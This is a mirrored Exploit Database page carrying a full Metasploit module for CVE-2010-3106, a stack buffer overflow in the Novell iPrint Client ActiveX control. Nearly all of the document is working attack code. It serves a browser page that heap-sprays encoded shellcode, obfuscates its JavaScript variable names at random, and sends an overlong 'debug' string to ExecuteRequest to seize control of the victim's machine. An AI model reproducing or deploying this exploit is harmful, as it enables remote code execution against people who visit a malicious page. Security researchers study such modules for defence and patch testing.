Novell iPrint Client – ActiveX Control ExecuteRequest debug Buffer Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-09-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16492/

• ##
  # $Id: novelliprint_executerequest_dbg.rb 10429 2010-09-21 18:46:29Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  ##
  # novelliprint_executerequest_dbg.rb
  #
  # Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
  #
  # Exploit successfully tested on the following platforms:
  #- Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
  #- Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
  #- Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
  #
  # ienipp.ocx version tested:
  # File Version: 5.3.2.0 and 5.4.0.0
  # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
  # RegKey Safe for Script: True
  # RegKey Safe for Init: True
  # KillBitSet: False
  #
  # References:
  #- CVE-2010-3106
  #- OSVDB 66960
  #- http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
  #- http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
  #- http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
  #- http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
  #
  # Trancer
  # http://www.rec-sec.com
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
  				When sending an overly long string to the 'debug' parameter in ExecuteRequest()
  				property of ienipp.ocx an attacker may be able to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
  			'Version'=> '$Revision: 10429 $',
  			'References' =>
  				[
  					[ 'CVE', '2010-3106' ],
  					[ 'OSVDB', '66960'],
  					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ],	# Aaron Portnoy, TippingPoint DVLabs
  					[ 'URL', 'http://www.exploit-db.com/exploits/15001/' ],				# MOAUB #14
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
  				],
  			'DisclosureDate' => 'Aug 04 2010',
  			'DefaultTarget'=> 0))
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def on_request_uri(cli, request)
  		# Re-generate the payload.
  		return if ((p = regenerate_payload(cli)) == nil)
  
  		# Encode the shellcode.
  		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  		# Setup exploit buffers
  		nops 	= Rex::Text.to_unescape([target.ret].pack('V'))
  		ret	= Rex::Text.uri_encode([target.ret].pack('L'))
  		blocksize = 0x40000
  		fillto= 500
  		offset 	= target['Offset']
  
  		# ActiveX parameters
  		clsid 	= "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
  		op		= "op-client-interface-version"
  		dbg 	= "debug="
  
  		# Randomize the javascript variable names
  		ienipp = rand_text_alpha(rand(100) + 1)
  		j_shellcode= rand_text_alpha(rand(100) + 1)
  		j_nops = rand_text_alpha(rand(100) + 1)
  		j_ret= rand_text_alpha(rand(100) + 1)
  		j_headersize = rand_text_alpha(rand(100) + 1)
  		j_slackspace = rand_text_alpha(rand(100) + 1)
  		j_fillblock= rand_text_alpha(rand(100) + 1)
  		j_block= rand_text_alpha(rand(100) + 1)
  		j_memory = rand_text_alpha(rand(100) + 1)
  		j_op	 = rand_text_alpha(rand(100) + 1)
  		j_dbg	 = rand_text_alpha(rand(100) + 1)
  		j_counter= rand_text_alpha(rand(30) + 2)
  
  		html = %Q|<html>
  <object classid='clsid:#{clsid}' id='#{ienipp}'></object>
  <script>
  var #{j_shellcode} = unescape('#{shellcode}');
  var #{j_nops} = unescape('#{nops}');
  var #{j_headersize} = 20;
  var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
  while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
  var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
  var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
  while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
  var #{j_memory} = new Array();
  for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
  	#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
  }
  
  var #{j_ret} = '';
  for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
  	#{j_ret} += unescape('#{ret}');
  }
  #{j_op} = "#{op}";
  #{j_dbg} = "#{dbg}";
  #{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret});
  </script>
  </html>|
  
  		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
  
  		# Transmit the response to the client
  		send_response(cli, html, { 'Content-Type' => 'text/html' })
  
  		# Handle the payload
  		handler(cli)
  	end
  
  end